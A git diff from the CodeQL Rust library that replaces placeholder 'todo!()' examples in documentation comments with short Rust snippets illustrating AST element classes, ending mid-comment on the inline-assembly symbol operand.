--git a/rust/ql/lib/codeql/rust/elements/RefTypeRepr.qll b/rust/ql/lib/codeql/rust/elements/RefTypeRepr.qll index 95e4e54196f..7df3fcb128b 100644 --- a/rust/ql/lib/codeql/rust/elements/RefTypeRepr.qll +++ b/rust/ql/lib/codeql/rust/elements/RefTypeRepr.qll @@ -8,9 +8,13 @@ import codeql.rust.elements.Lifetime import codeql.rust.elements.TypeRepr /** - * A RefTypeRepr. For example: + * A reference type. + * + * For example: * ```rust - * todo!() + * let r: &i32; + * let m: &mut i32; + * // ^^^^^^^^ * ``` */ final class RefTypeRepr = Impl::RefTypeRepr; diff --git a/rust/ql/lib/codeql/rust/elements/Rename.qll b/rust/ql/lib/codeql/rust/elements/Rename.qll index 11b635b4af9..d201995dc65 100644 --- a/rust/ql/lib/codeql/rust/elements/Rename.qll +++ b/rust/ql/lib/codeql/rust/elements/Rename.qll @@ -8,9 +8,12 @@ import codeql.rust.elements.AstNode import codeql.rust.elements.Name /** - * A Rename. For example: + * A rename in a use declaration. + * + * For example: * ```rust - * todo!() + * use foo as bar; + * // ^^^^^^ * ``` */ final class Rename = Impl::Rename; diff --git a/rust/ql/lib/codeql/rust/elements/RestPat.qll b/rust/ql/lib/codeql/rust/elements/RestPat.qll index 7a127cbc30a..9c20f0c5c9b 100644 --- a/rust/ql/lib/codeql/rust/elements/RestPat.qll +++ b/rust/ql/lib/codeql/rust/elements/RestPat.qll @@ -8,9 +8,12 @@ import codeql.rust.elements.Attr import codeql.rust.elements.Pat /** - * A RestPat. For example: + * A rest pattern (`..`) in a tuple, slice, or struct pattern. + * + * For example: * ```rust - * todo!() + * let (a, .., z) = (1, 2, 3); + * // ^^ * ``` */ final class RestPat = Impl::RestPat; diff --git a/rust/ql/lib/codeql/rust/elements/RetTypeRepr.qll b/rust/ql/lib/codeql/rust/elements/RetTypeRepr.qll index 05f7cc73e2c..205044d56b2 100644 --- a/rust/ql/lib/codeql/rust/elements/RetTypeRepr.qll +++ b/rust/ql/lib/codeql/rust/elements/RetTypeRepr.qll @@ -8,9 +8,12 @@ import codeql.rust.elements.AstNode import codeql.rust.elements.TypeRepr /** - * A RetTypeRepr. For example: + * A return type in a function signature. + * + * For example: * ```rust - * todo!() + * fn foo() -> i32 {} + * // ^^^^^^ * ``` */ final class RetTypeRepr = Impl::RetTypeRepr; diff --git a/rust/ql/lib/codeql/rust/elements/ReturnTypeSyntax.qll b/rust/ql/lib/codeql/rust/elements/ReturnTypeSyntax.qll index 85c42a697f2..aff8ab93e00 100644 --- a/rust/ql/lib/codeql/rust/elements/ReturnTypeSyntax.qll +++ b/rust/ql/lib/codeql/rust/elements/ReturnTypeSyntax.qll @@ -7,9 +7,22 @@ private import internal.ReturnTypeSyntaxImpl import codeql.rust.elements.AstNode /** - * A ReturnTypeSyntax. For example: + * A return type notation `(..)` to reference or bound the type returned by a trait method + * + * For example: * ```rust - * todo!() + * struct ReverseWidgets> { + * factory: F, + * } + * + * impl Factory for ReverseWidgets + * where + * F: Factory, + * { + * fn widgets(&self) -> impl Iterator { + * self.factory.widgets().rev() + * } + * } * ``` */ final class ReturnTypeSyntax = Impl::ReturnTypeSyntax; diff --git a/rust/ql/lib/codeql/rust/elements/SliceTypeRepr.qll b/rust/ql/lib/codeql/rust/elements/SliceTypeRepr.qll index 051eceb5cc2..dfffccc0594 100644 --- a/rust/ql/lib/codeql/rust/elements/SliceTypeRepr.qll +++ b/rust/ql/lib/codeql/rust/elements/SliceTypeRepr.qll @@ -7,9 +7,12 @@ private import internal.SliceTypeReprImpl import codeql.rust.elements.TypeRepr /** - * A SliceTypeRepr. For example: + * A slice type. + * + * For example: * ```rust - * todo!() + * let s: &[i32]; + * // ^^^^^ * ``` */ final class SliceTypeRepr = Impl::SliceTypeRepr; diff --git a/rust/ql/lib/codeql/rust/elements/SourceFile.qll b/rust/ql/lib/codeql/rust/elements/SourceFile.qll index f0cb51d063c..aaa7f1d7be4 100644 --- a/rust/ql/lib/codeql/rust/elements/SourceFile.qll +++ b/rust/ql/lib/codeql/rust/elements/SourceFile.qll @@ -9,9 +9,12 @@ import codeql.rust.elements.Attr import codeql.rust.elements.Item /** - * A SourceFile. For example: + * A source file. + * + * For example: * ```rust - * todo!() + * // main.rs + * fn main() {} * ``` */ final class SourceFile = Impl::SourceFile; diff --git a/rust/ql/lib/codeql/rust/elements/Static.qll b/rust/ql/lib/codeql/rust/elements/Static.qll index 74467dcb705..2ddd82f25cd 100644 --- a/rust/ql/lib/codeql/rust/elements/Static.qll +++ b/rust/ql/lib/codeql/rust/elements/Static.qll @@ -13,9 +13,11 @@ import codeql.rust.elements.TypeRepr import codeql.rust.elements.Visibility /** - * A Static. For example: + * A static item declaration. + * + * For example: * ```rust - * todo!() + * static X: i32 = 42; * ``` */ final class Static = Impl::Static; diff --git a/rust/ql/lib/codeql/rust/elements/StmtList.qll b/rust/ql/lib/codeql/rust/elements/StmtList.qll index df22f0cc703..76a4b5d2c34 100644 --- a/rust/ql/lib/codeql/rust/elements/StmtList.qll +++ b/rust/ql/lib/codeql/rust/elements/StmtList.qll @@ -10,9 +10,15 @@ import codeql.rust.elements.Expr import codeql.rust.elements.Stmt /** - * A StmtList. For example: + * A list of statements in a block. + * + * For example: * ```rust - * todo!() + * { + * let x = 1; + * let y = 2; + * } + * // ^^^^^^^^^ * ``` */ final class StmtList = Impl::StmtList; diff --git a/rust/ql/lib/codeql/rust/elements/Struct.qll b/rust/ql/lib/codeql/rust/elements/Struct.qll index b78254d87dc..19f81db74e6 100644 --- a/rust/ql/lib/codeql/rust/elements/Struct.qll +++ b/rust/ql/lib/codeql/rust/elements/Struct.qll @@ -16,7 +16,10 @@ import codeql.rust.elements.WhereClause /** * A Struct. For example: * ```rust - * todo!() + * struct Point { + * x: i32, + * y: i32, + * } * ``` */ final class Struct = Impl::Struct; diff --git a/rust/ql/lib/codeql/rust/elements/StructExprFieldList.qll b/rust/ql/lib/codeql/rust/elements/StructExprFieldList.qll index 1ce9cd0c615..091460538fc 100644 --- a/rust/ql/lib/codeql/rust/elements/StructExprFieldList.qll +++ b/rust/ql/lib/codeql/rust/elements/StructExprFieldList.qll @@ -10,9 +10,12 @@ import codeql.rust.elements.Expr import codeql.rust.elements.StructExprField /** - * A StructExprFieldList. For example: + * A list of fields in a struct expression. + * + * For example: * ```rust - * todo!() + * Foo { a: 1, b: 2 } + * // ^^^^^^^^^^^ * ``` */ final class StructExprFieldList = Impl::StructExprFieldList; diff --git a/rust/ql/lib/codeql/rust/elements/StructField.qll b/rust/ql/lib/codeql/rust/elements/StructField.qll index 157849d45a6..6d363a17b12 100644 --- a/rust/ql/lib/codeql/rust/elements/StructField.qll +++ b/rust/ql/lib/codeql/rust/elements/StructField.qll @@ -12,9 +12,12 @@ import codeql.rust.elements.TypeRepr import codeql.rust.elements.Visibility /** - * A StructField. For example: + * A field in a struct declaration. + * + * For example: * ```rust - * todo!() + * struct S { x: i32 } + * // ^^^^^^^ * ``` */ final class StructField = Impl::StructField; diff --git a/rust/ql/lib/codeql/rust/elements/StructFieldList.qll b/rust/ql/lib/codeql/rust/elements/StructFieldList.qll index 6eee3bd61a8..0d059ee55c7 100644 --- a/rust/ql/lib/codeql/rust/elements/StructFieldList.qll +++ b/rust/ql/lib/codeql/rust/elements/StructFieldList.qll @@ -8,9 +8,12 @@ import codeql.rust.elements.FieldList import codeql.rust.elements.StructField /** - * A field list of a struct expression. For example: + * A list of fields in a struct declaration. + * + * For example: * ```rust - * todo!() + * struct S { x: i32, y: i32 } + * // ^^^^^^^^^^^^^^^ * ``` */ final class StructFieldList = Impl::StructFieldList; diff --git a/rust/ql/lib/codeql/rust/elements/StructPatFieldList.qll b/rust/ql/lib/codeql/rust/elements/StructPatFieldList.qll index 3ed30ea769b..a031e720a59 100644 --- a/rust/ql/lib/codeql/rust/elements/StructPatFieldList.qll +++ b/rust/ql/lib/codeql/rust/elements/StructPatFieldList.qll @@ -9,9 +9,12 @@ import codeql.rust.elements.RestPat import codeql.rust.elements.StructPatField /** - * A StructPatFieldList. For example: + * A list of fields in a struct pattern. + * + * For example: * ```rust - * todo!() + * let Foo { a, b } = foo; + * // ^^^^^ * ``` */ final class StructPatFieldList = Impl::StructPatFieldList; diff --git a/rust/ql/lib/codeql/rust/elements/TokenTree.qll b/rust/ql/lib/codeql/rust/elements/TokenTree.qll index 1461db3dc0f..de34cbc112e 100644 --- a/rust/ql/lib/codeql/rust/elements/TokenTree.qll +++ b/rust/ql/lib/codeql/rust/elements/TokenTree.qll @@ -7,9 +7,16 @@ private import internal.TokenTreeImpl import codeql.rust.elements.AstNode /** - * A TokenTree. For example: + * A token tree in a macro definition or invocation. + * + * For example: * ```rust - * todo!() + * println!("{} {}!", "Hello", "world"); + * // ^^^^^^^^^^^^^^^^^^^^^^^^^^^^ + * ``` + * ``` + * macro_rules! foo { ($x:expr) => { $x + 1 }; } + * // ^^^^^^^^^^^^^^^^^^^^^^^ * ``` */ final class TokenTree = Impl::TokenTree; diff --git a/rust/ql/lib/codeql/rust/elements/TraitAlias.qll b/rust/ql/lib/codeql/rust/elements/TraitAlias.qll index 21d89531ed5..956fa76ab21 100644 --- a/rust/ql/lib/codeql/rust/elements/TraitAlias.qll +++ b/rust/ql/lib/codeql/rust/elements/TraitAlias.qll @@ -13,9 +13,11 @@ import codeql.rust.elements.Visibility import codeql.rust.elements.WhereClause /** - * A TraitAlias. For example: + * A trait alias. + * + * For example: * ```rust - * todo!() + * trait Foo = Bar + Baz; * ``` */ final class TraitAlias = Impl::TraitAlias; diff --git a/rust/ql/lib/codeql/rust/elements/TryExpr.qll b/rust/ql/lib/codeql/rust/elements/TryExpr.qll index 9617f5c5463..683b302528f 100644 --- a/rust/ql/lib/codeql/rust/elements/TryExpr.qll +++ b/rust/ql/lib/codeql/rust/elements/TryExpr.qll @@ -8,9 +8,12 @@ import codeql.rust.elements.Attr import codeql.rust.elements.Expr /** - * A TryExpr. For example: + * A try expression using the `?` operator. + * + * For example: * ```rust - * todo!() + * let x = foo()?; + * // ^ * ``` */ final class TryExpr = Impl::TryExpr; diff --git a/rust/ql/lib/codeql/rust/elements/TupleField.qll b/rust/ql/lib/codeql/rust/elements/TupleField.qll index 10e22fd21ae..9dcfaa4fb33 100644 --- a/rust/ql/lib/codeql/rust/elements/TupleField.qll +++ b/rust/ql/lib/codeql/rust/elements/TupleField.qll @@ -10,9 +10,12 @@ import codeql.rust.elements.TypeRepr import codeql.rust.elements.Visibility /** - * A TupleField. For example: + * A field in a tuple struct or tuple enum variant. + * + * For example: * ```rust - * todo!() + * struct S(i32, String); + * // ^^^ ^^^^^^ * ``` */ final class TupleField = Impl::TupleField; diff --git a/rust/ql/lib/codeql/rust/elements/TupleFieldList.qll b/rust/ql/lib/codeql/rust/elements/TupleFieldList.qll index 68294d7df7a..0c464944993 100644 --- a/rust/ql/lib/codeql/rust/elements/TupleFieldList.qll +++ b/rust/ql/lib/codeql/rust/elements/TupleFieldList.qll @@ -8,9 +8,12 @@ import codeql.rust.elements.FieldList import codeql.rust.elements.TupleField /** - * A TupleFieldList. For example: + * A list of fields in a tuple struct or tuple enum variant. + * + * For example: * ```rust - * todo!() + * struct S(i32, String); + * // ^^^^^^^^^^^^^ * ``` */ final class TupleFieldList = Impl::TupleFieldList; diff --git a/rust/ql/lib/codeql/rust/elements/TupleTypeRepr.qll b/rust/ql/lib/codeql/rust/elements/TupleTypeRepr.qll index 66e0645cd1b..c2a856750fa 100644 --- a/rust/ql/lib/codeql/rust/elements/TupleTypeRepr.qll +++ b/rust/ql/lib/codeql/rust/elements/TupleTypeRepr.qll @@ -7,9 +7,12 @@ private import internal.TupleTypeReprImpl import codeql.rust.elements.TypeRepr /** - * A TupleTypeRepr. For example: + * A tuple type. + * + * For example: * ```rust - * todo!() + * let t: (i32, String); + * // ^^^^^^^^^^^^^ * ``` */ final class TupleTypeRepr = Impl::TupleTypeRepr; diff --git a/rust/ql/lib/codeql/rust/elements/TypeArg.qll b/rust/ql/lib/codeql/rust/elements/TypeArg.qll index 42fa984506a..c17e7e75c69 100644 --- a/rust/ql/lib/codeql/rust/elements/TypeArg.qll +++ b/rust/ql/lib/codeql/rust/elements/TypeArg.qll @@ -8,9 +8,12 @@ import codeql.rust.elements.GenericArg import codeql.rust.elements.TypeRepr /** - * A TypeArg. For example: + * A type argument in a generic argument list. + * + * For example: * ```rust - * todo!() + * Foo:: + * // ^^^ * ``` */ final class TypeArg = Impl::TypeArg; diff --git a/rust/ql/lib/codeql/rust/elements/TypeBound.qll b/rust/ql/lib/codeql/rust/elements/TypeBound.qll index 52f9483afed..c49d8e5be06 100644 --- a/rust/ql/lib/codeql/rust/elements/TypeBound.qll +++ b/rust/ql/lib/codeql/rust/elements/TypeBound.qll @@ -10,9 +10,12 @@ import codeql.rust.elements.TypeRepr import codeql.rust.elements.UseBoundGenericArgs /** - * A TypeBound. For example: + * A type bound in a trait or generic parameter. + * + * For example: * ```rust - * todo!() + * fn foo(t: T) {} + * // ^^^^^ * ``` */ final class TypeBound = Impl::TypeBound; diff --git a/rust/ql/lib/codeql/rust/elements/TypeBoundList.qll b/rust/ql/lib/codeql/rust/elements/TypeBoundList.qll index 6f2107b9ddf..1bdf2cc1f73 100644 --- a/rust/ql/lib/codeql/rust/elements/TypeBoundList.qll +++ b/rust/ql/lib/codeql/rust/elements/TypeBoundList.qll @@ -8,9 +8,12 @@ import codeql.rust.elements.AstNode import codeql.rust.elements.TypeBound /** - * A TypeBoundList. For example: + * A list of type bounds. + * + * For example: * ```rust - * todo!() + * fn foo(t: T) {} + * // ^^^^^^^^^^^^^ * ``` */ final class TypeBoundList = Impl::TypeBoundList; diff --git a/rust/ql/lib/codeql/rust/elements/TypeParam.qll b/rust/ql/lib/codeql/rust/elements/TypeParam.qll index bf01aaf6f1f..126892685cd 100644 --- a/rust/ql/lib/codeql/rust/elements/TypeParam.qll +++ b/rust/ql/lib/codeql/rust/elements/TypeParam.qll @@ -11,9 +11,12 @@ import codeql.rust.elements.TypeBoundList import codeql.rust.elements.TypeRepr /** - * A TypeParam. For example: + * A type parameter in a generic parameter list. + * + * For example: * ```rust - * todo!() + * fn foo(t: T) {} + * // ^ * ``` */ final class TypeParam = Impl::TypeParam; diff --git a/rust/ql/lib/codeql/rust/elements/Union.qll b/rust/ql/lib/codeql/rust/elements/Union.qll index a9edce9d2fe..fac11390b1b 100644 --- a/rust/ql/lib/codeql/rust/elements/Union.qll +++ b/rust/ql/lib/codeql/rust/elements/Union.qll @@ -14,9 +14,11 @@ import codeql.rust.elements.Visibility import codeql.rust.elements.WhereClause /** - * A Union. For example: + * A union declaration. + * + * For example: * ```rust - * todo!() + * union U { f1: u32, f2: f32 } * ``` */ final class Union = Impl::Union; diff --git a/rust/ql/lib/codeql/rust/elements/Use.qll b/rust/ql/lib/codeql/rust/elements/Use.qll index 7485018a975..4d5f9bd3948 100644 --- a/rust/ql/lib/codeql/rust/elements/Use.qll +++ b/rust/ql/lib/codeql/rust/elements/Use.qll @@ -10,9 +10,9 @@ import codeql.rust.elements.UseTree import codeql.rust.elements.Visibility /** - * A Use. For example: + * A `use` statement. For example: * ```rust - * todo!() + * use std::collections::HashMap; * ``` */ final class Use = Impl::Use; diff --git a/rust/ql/lib/codeql/rust/elements/UseBoundGenericArgs.qll b/rust/ql/lib/codeql/rust/elements/UseBoundGenericArgs.qll index 2e0fe43db24..f3784ffdab2 100644 --- a/rust/ql/lib/codeql/rust/elements/UseBoundGenericArgs.qll +++ b/rust/ql/lib/codeql/rust/elements/UseBoundGenericArgs.qll @@ -7,4 +7,13 @@ private import internal.UseBoundGenericArgsImpl import codeql.rust.elements.AstNode import codeql.rust.elements.UseBoundGenericArg +/** + * A use<..> bound to control which generic parameters are captured by an impl Trait return type. + * + * For example: + * ```rust + * pub fn hello<'a, T, const N: usize>() -> impl Sized + use<'a, T, N> {} + * // ^^^^^^^^ + * ``` + */ final class UseBoundGenericArgs = Impl::UseBoundGenericArgs; diff --git a/rust/ql/lib/codeql/rust/elements/UseTree.qll b/rust/ql/lib/codeql/rust/elements/UseTree.qll index ce3f8be16d1..049931c1648 100644 --- a/rust/ql/lib/codeql/rust/elements/UseTree.qll +++ b/rust/ql/lib/codeql/rust/elements/UseTree.qll @@ -10,7 +10,7 @@ import codeql.rust.elements.Rename import codeql.rust.elements.UseTreeList /** - * A UseTree. For example: + * A `use` tree, ie the part after the `use` keyword in a `use` statement. For example: * ```rust * use std::collections::HashMap; * use std::collections::*; diff --git a/rust/ql/lib/codeql/rust/elements/UseTreeList.qll b/rust/ql/lib/codeql/rust/elements/UseTreeList.qll index 92202501028..7c4c5977aec 100644 --- a/rust/ql/lib/codeql/rust/elements/UseTreeList.qll +++ b/rust/ql/lib/codeql/rust/elements/UseTreeList.qll @@ -8,9 +8,12 @@ import codeql.rust.elements.AstNode import codeql.rust.elements.UseTree /** - * A UseTreeList. For example: + * A list of use trees in a use declaration. + * + * For example: * ```rust - * todo!() + * use std::{fs, io}; + * // ^^^^^^^ * ``` */ final class UseTreeList = Impl::UseTreeList; diff --git a/rust/ql/lib/codeql/rust/elements/Variant.qll b/rust/ql/lib/codeql/rust/elements/Variant.qll index ab9d391f44a..5afa140923b 100644 --- a/rust/ql/lib/codeql/rust/elements/Variant.qll +++ b/rust/ql/lib/codeql/rust/elements/Variant.qll @@ -13,9 +13,12 @@ import codeql.rust.elements.VariantDef import codeql.rust.elements.Visibility /** - * A Variant. For example: + * A variant in an enum declaration. + * + * For example: * ```rust - * todo!() + * enum E { A, B(i32), C { x: i32 } } + * // ^ ^^^^^^ ^^^^^^^^^^^^ * ``` */ final class Variant = Impl::Variant; diff --git a/rust/ql/lib/codeql/rust/elements/VariantList.qll b/rust/ql/lib/codeql/rust/elements/VariantList.qll index e0cf435c468..672ce6f91ac 100644 --- a/rust/ql/lib/codeql/rust/elements/VariantList.qll +++ b/rust/ql/lib/codeql/rust/elements/VariantList.qll @@ -8,9 +8,12 @@ import codeql.rust.elements.AstNode import codeql.rust.elements.Variant /** - * A VariantList. For example: + * A list of variants in an enum declaration. + * + * For example: * ```rust - * todo!() + * enum E { A, B, C } + * // ^^^^^^^^^^^ * ``` */ final class VariantList = Impl::VariantList; diff --git a/rust/ql/lib/codeql/rust/elements/Visibility.qll b/rust/ql/lib/codeql/rust/elements/Visibility.qll index 58db9b66fe2..5562c1b3d73 100644 --- a/rust/ql/lib/codeql/rust/elements/Visibility.qll +++ b/rust/ql/lib/codeql/rust/elements/Visibility.qll @@ -8,9 +8,12 @@ import codeql.rust.elements.AstNode import codeql.rust.elements.Path /** - * A Visibility. For example: + * A visibility modifier. + * + * For example: * ```rust - * todo!() + * pub struct S; + * //^^^ * ``` */ final class Visibility = Impl::Visibility; diff --git a/rust/ql/lib/codeql/rust/elements/WhereClause.qll b/rust/ql/lib/codeql/rust/elements/WhereClause.qll index 2f52bd3955f..80e3867be31 100644 --- a/rust/ql/lib/codeql/rust/elements/WhereClause.qll +++ b/rust/ql/lib/codeql/rust/elements/WhereClause.qll @@ -8,9 +8,12 @@ import codeql.rust.elements.AstNode import codeql.rust.elements.WherePred /** - * A WhereClause. For example: + * A where clause in a generic declaration. + * + * For example: * ```rust - * todo!() + * fn foo(t: T) where T: Debug {} + * // ^^^^^^^^^^^^^^ * ``` */ final class WhereClause = Impl::WhereClause; diff --git a/rust/ql/lib/codeql/rust/elements/WherePred.qll b/rust/ql/lib/codeql/rust/elements/WherePred.qll index 3f0bb8c5fe7..16e1e586570 100644 --- a/rust/ql/lib/codeql/rust/elements/WherePred.qll +++ b/rust/ql/lib/codeql/rust/elements/WherePred.qll @@ -11,9 +11,12 @@ import codeql.rust.elements.TypeBoundList import codeql.rust.elements.TypeRepr /** - * A WherePred. For example: + * A predicate in a where clause. + * + * For example: * ```rust - * todo!() + * fn foo(t: T, u: U) where T: Debug, U: Clone {} + * // ^^^^^^^^ ^^^^^^^^ * ``` */ final class WherePred = Impl::WherePred; diff --git a/rust/ql/lib/codeql/rust/elements/WhileExpr.qll b/rust/ql/lib/codeql/rust/elements/WhileExpr.qll index fc704d35095..2103d983e70 100644 --- a/rust/ql/lib/codeql/rust/elements/WhileExpr.qll +++ b/rust/ql/lib/codeql/rust/elements/WhileExpr.qll @@ -9,9 +9,13 @@ import codeql.rust.elements.Expr import codeql.rust.elements.LoopingExpr /** - * A WhileExpr. For example: + * A while loop expression. + * + * For example: * ```rust - * todo!() + * while x < 10 { + * x += 1; + * } * ``` */ final class WhileExpr = Impl::WhileExpr; diff --git a/rust/ql/lib/codeql/rust/elements/internal/AbiImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/AbiImpl.qll index c0af077785f..2534d71e610 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/AbiImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/AbiImpl.qll @@ -13,9 +13,12 @@ private import codeql.rust.elements.internal.generated.Abi */ module Impl { /** - * A Abi. For example: + * An ABI specification for an extern function or block. + * + * For example: * ```rust - * todo!() + * extern "C" fn foo() {} + * // ^^^ * ``` */ class Abi extends Generated::Abi { } diff --git a/rust/ql/lib/codeql/rust/elements/internal/ArgListImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/ArgListImpl.qll index af47a245980..f5fd9a066a7 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/ArgListImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/ArgListImpl.qll @@ -13,9 +13,12 @@ private import codeql.rust.elements.internal.generated.ArgList */ module Impl { /** - * A ArgList. For example: + * A list of arguments in a function or method call. + * + * For example: * ```rust - * todo!() + * foo(1, 2, 3); + * // ^^^^^^^^^ * ``` */ class ArgList extends Generated::ArgList { } diff --git a/rust/ql/lib/codeql/rust/elements/internal/ArrayTypeReprImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/ArrayTypeReprImpl.qll index f7cf66626a0..cb72de9b87e 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/ArrayTypeReprImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/ArrayTypeReprImpl.qll @@ -13,9 +13,12 @@ private import codeql.rust.elements.internal.generated.ArrayTypeRepr */ module Impl { /** - * A ArrayTypeRepr. For example: + * An array type representation. + * + * For example: * ```rust - * todo!() + * let arr: [i32; 4]; + * // ^^^^^^^^ * ``` */ class ArrayTypeRepr extends Generated::ArrayTypeRepr { } diff --git a/rust/ql/lib/codeql/rust/elements/internal/AsmClobberAbiImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/AsmClobberAbiImpl.qll index 155676828e8..fd724507df1 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/AsmClobberAbiImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/AsmClobberAbiImpl.qll @@ -12,5 +12,14 @@ private import codeql.rust.elements.internal.generated.AsmClobberAbi * be referenced directly. */ module Impl { + /** + * A clobbered ABI in an inline assembly block. + * + * For example: + * ```rust + * asm!("", clobber_abi("C")); + * // ^^^^^^^^^^^^^^^^ + * ``` + */ class AsmClobberAbi extends Generated::AsmClobberAbi { } } diff --git a/rust/ql/lib/codeql/rust/elements/internal/AsmConstImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/AsmConstImpl.qll index 95d11f936d7..84e7d02ebaa 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/AsmConstImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/AsmConstImpl.qll @@ -12,5 +12,14 @@ private import codeql.rust.elements.internal.generated.AsmConst * be referenced directly. */ module Impl { + /** + * A constant operand in an inline assembly block. + * + * For example: + * ```rust + * asm!("mov eax, {const}", const 42); + * // ^^^^^^^ + * ``` + */ class AsmConst extends Generated::AsmConst { } } diff --git a/rust/ql/lib/codeql/rust/elements/internal/AsmDirSpecImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/AsmDirSpecImpl.qll index 10b04b298d4..36c0877567f 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/AsmDirSpecImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/AsmDirSpecImpl.qll @@ -12,5 +12,14 @@ private import codeql.rust.elements.internal.generated.AsmDirSpec * be referenced directly. */ module Impl { + /** + * An inline assembly directive specification. + * + * For example: + * ```rust + * asm!("nop"); + * // ^^^^^ + * ``` + */ class AsmDirSpec extends Generated::AsmDirSpec { } } diff --git a/rust/ql/lib/codeql/rust/elements/internal/AsmLabelImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/AsmLabelImpl.qll index 6f393f9ed48..6990f1d7b6c 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/AsmLabelImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/AsmLabelImpl.qll @@ -12,5 +12,14 @@ private import codeql.rust.elements.internal.generated.AsmLabel * be referenced directly. */ module Impl { + /** + * A label in an inline assembly block. + * + * For example: + * ```rust + * asm!("jmp {label}", label = sym my_label); + * // ^^^^^^^^^^^^^^^^^^^^^^ + * ``` + */ class AsmLabel extends Generated::AsmLabel { } } diff --git a/rust/ql/lib/codeql/rust/elements/internal/AsmOperandExprImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/AsmOperandExprImpl.qll index ebf9a7ae2ed..db309ada7d7 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/AsmOperandExprImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/AsmOperandExprImpl.qll @@ -12,5 +12,14 @@ private import codeql.rust.elements.internal.generated.AsmOperandExpr * be referenced directly. */ module Impl { + /** + * An operand expression in an inline assembly block. + * + * For example: + * ```rust + * asm!("mov {0}, {1}", out(reg) x, in(reg) y); + * // ^ ^ + * ``` + */ class AsmOperandExpr extends Generated::AsmOperandExpr { } } diff --git a/rust/ql/lib/codeql/rust/elements/internal/AsmOperandNamedImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/AsmOperandNamedImpl.qll index c9903d90804..5012d8578d5 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/AsmOperandNamedImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/AsmOperandNamedImpl.qll @@ -12,5 +12,14 @@ private import codeql.rust.elements.internal.generated.AsmOperandNamed * be referenced directly. */ module Impl { + /** + * A named operand in an inline assembly block. + * + * For example: + * ```rust + * asm!("mov {out}, {in}", out = out(reg) x, in = in(reg) y); + * // ^^^^^ ^^^^ + * ``` + */ class AsmOperandNamed extends Generated::AsmOperandNamed { } } diff --git a/rust/ql/lib/codeql/rust/elements/internal/AsmOptionImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/AsmOptionImpl.qll index 4f0ea60c798..c96a8cecd06 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/AsmOptionImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/AsmOptionImpl.qll @@ -12,5 +12,14 @@ private import codeql.rust.elements.internal.generated.AsmOption * be referenced directly. */ module Impl { + /** + * An option in an inline assembly block. + * + * For example: + * ```rust + * asm!("", options(nostack, nomem)); + * // ^^^^^^^^^^^^^^^^ + * ``` + */ class AsmOption extends Generated::AsmOption { } } diff --git a/rust/ql/lib/codeql/rust/elements/internal/AsmOptionsListImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/AsmOptionsListImpl.qll index 112ead5d0b2..25b029776d1 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/AsmOptionsListImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/AsmOptionsListImpl.qll @@ -12,5 +12,14 @@ private import codeql.rust.elements.internal.generated.AsmOptionsList * be referenced directly. */ module Impl { + /** + * A list of options in an inline assembly block. + * + * For example: + * ```rust + * asm!("", options(nostack, nomem)); + * // ^^^^^^^^^^^^^^^^ + * ``` + */ class AsmOptionsList extends Generated::AsmOptionsList { } } diff --git a/rust/ql/lib/codeql/rust/elements/internal/AsmRegOperandImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/AsmRegOperandImpl.qll index 2641e12598c..53a858edd39 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/AsmRegOperandImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/AsmRegOperandImpl.qll @@ -12,5 +12,14 @@ private import codeql.rust.elements.internal.generated.AsmRegOperand * be referenced directly. */ module Impl { + /** + * A register operand in an inline assembly block. + * + * For example: + * ```rust + * asm!("mov {0}, {1}", out(reg) x, in(reg) y); + * // ^ ^ + * ``` + */ class AsmRegOperand extends Generated::AsmRegOperand { } } diff --git a/rust/ql/lib/codeql/rust/elements/internal/AsmRegSpecImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/AsmRegSpecImpl.qll index 83b269eead6..2ceb7318ca5 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/AsmRegSpecImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/AsmRegSpecImpl.qll @@ -12,5 +12,14 @@ private import codeql.rust.elements.internal.generated.AsmRegSpec * be referenced directly. */ module Impl { + /** + * A register specification in an inline assembly block. + * + * For example: + * ```rust + * asm!("mov {0}, {1}", out("eax") x, in("ebx") y); + * // ^^^ ^^^ + * ``` + */ class AsmRegSpec extends Generated::AsmRegSpec { } } diff --git a/rust/ql/lib/codeql/rust/elements/internal/AsmSymImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/AsmSymImpl.qll index 9b26627dae9..79ce8132ed0 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/AsmSymImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/AsmSymImpl.qll @@ -12,5 +12,14 @@ private import codeql.rust.elements.internal.generated.AsmSym * be referenced directly. */ module Impl { + /** + * A symbol operand in an inline assembly block. + * + * For example: + * ```rust + * asm!("call {sym}", sym = sym my_function); + * // 